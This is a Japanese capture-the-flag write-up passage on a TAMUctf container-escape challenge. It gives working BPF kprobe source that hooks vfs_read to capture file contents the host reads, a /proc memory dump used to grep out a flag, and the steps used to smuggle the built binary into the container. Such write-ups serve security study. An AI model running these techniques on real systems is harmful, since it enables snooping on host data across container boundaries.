~ # mount -t proc none /proc/ ~ # mkdir /tmp ~ # dd if=/proc/18/root/mem of=/tmp/poyo bs=1 skip=$((0x6000000)) count=$((0x10000000)) ~ # cd /tmp /tmp # strings -n 8 poyo | grep "gigem" gigem{now_where_did_that_come_from_exactly}
gigem{now_where_did_that_come_from_exactly}
[Misc 499] Over The Shoulder (7 solves)
You are given a shell inside a docker container. The host running docker does cat /home/user/flag.txt once per minute. Read the flag.
openssl s_client -connect tamuctf.com:443 -servername over-the-shoulder
問題サーバに接続するとシェルが立ち上がった。問題文からコンテナエスケープ問だとわかる。まず環境を確認すると、どうやらAlpine Linux 3.19らしいとわかった。
$ uname -a Linux 6f796d151145 6.7.9-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Mar 6 19:35:04 UTC 2024 x86_64 Linux $ cat /etc/os-release NAME="Alpine Linux" ID=alpine VERSION_ID=3.19.1 PRETTY_NAME="Alpine Linux v3.19" HOME_URL="https://alpinelinux.org/" BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
pr0xyさんがScavengingで試されていた方法を見つつ、付与されているcapabilityを見ていく。色々あるけれども cap_perfmon
と cap_bpf
が気になった。
問題文では cat /home/user/flag.txt
がホスト側で定期的に実行されていると言っているけれども、もっと派手なエスケープができる(つまり、ホスト側でシェルを奪える)のであればわざわざそんなことを言う必要がない。その情報に関連することができるのではないか、たとえばBPFプログラムでカーネルでの処理にフックして、cat /home/user/flag.txt
で読み出されている内容を盗み取ることができるのではないかと考えた。
$ grep Cap /proc/1/status CapInh: 0000000000000000 CapPrm: 000000c0a80425fb CapEff: 000000c0a80425fb CapBnd: 000000c0a80425fb CapAmb: 0000000000000000 $ capsh --decode=000000c0a80425fb 0x000000c0a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap,cap_perfmon,cap_bpf
別途、手元での検証やBPFを使ったプログラムのビルド用にAlpine Linuxの環境を用意する。適当に masmullin2000/libbpf-sample
をベースとしつつ書いていく。並行してコンテナエスケープの色々な資料を読んでいると、kprobeで vfs_read
にフックする手法を見つけた。これをやってみよう。
コードは次の通り。
~/libbpf-sample/c/simple # cat exec.c #include <stdio.h> #include <stdlib.h> #include <sys/resource.h> #include "exec.skel.h" int main(void) { struct exec *skel = exec__open_and_load(); exec__attach(skel); for(;;) { } return 0; } ~/libbpf-sample/c/simple # cat exec.bpf.c #include "vmlinux.h" #include <bpf/bpf_helpers.h> SEC("kprobe/vfs_read") int BPF_KPROBE(struct pt_regs *ctx, struct file *fd, const char *buf, size_t count) { char s[128]; bpf_probe_read(s, 128, (void *)ctx->r13); bpf_printk("vfs_read %s\n", s); return 0; } char LICENSE[] SEC("license") = "neko";
これをビルドする。問題サーバの環境ではネットワークへの接続ができないために、できあがったバイナリや共有ライブラリを .tar.gz
に固め、Base64エンコードして問題サーバの環境へ持っていく*2。このバイナリを実行しつつ、/sys/kernel/tracing/trace_pipe
から bpf_printk
の出力を見る。
touch a.txt # base64 -w900 a.tar.gz | xargs -i echo 'echo "{}" >> a.txt' > tmp.txt でtmp.txtに出力されたコマンドを実行。a.txtにBase64エンコードされた.tar.gzを書き込む base64 -d a.txt > a.tar.gz tar zxvf a.tar.gz mv usr/lib/libbpf.so.1.3.0 /usr/lib/libbpf.so.1 mv usr/lib/libelf-0.190.so /usr/lib/libelf.so.1 mv usr/lib/libzstd.so.1.5.5 /usr/lib/libzstd.so.1 echo 'r:vfs_read vfs_read' >> /sys/kernel/tracing/kprobe_events ./exec & grep cat /sys/kernel/tracing/trace_pipe &
しばらく待つと、フラグが出力された。
tk: vfs_read grep-1086 [000] ...21 131.003332: bpf_trace_printk: vfs_read grep-1086 [000] ...21 131.003324: bpf_trace_printk: vfs_read socat-1047 [000] ...21 131.001301: grep-1086 [000] ...21 131.003333: bpf_trace_printk: vfs_read grep-1086 [000] ...21 131.003324: bpf_trace_printk: vfs_read socat-1047 [000] ...21 131.001301: socat-1047 [000] ...21 131.004301: bpf_trace_printk: vfs_read cat-1108 [000] ...21 130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing} socat-1047 [000] ...21 131.004301: bpf_trace_printk: vfs_read cat-1108 [000] ...21 130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing} grep-1086 [000] ...21 131.006318: bpf_trace_printk: vfs_read socat-1047 [000] ...21 131.004301: bpf_trace_printk: vfs_read cat-1108 [000] ...21 130.989598
gigem{this_aint_your_mamas_shoulder_surfing}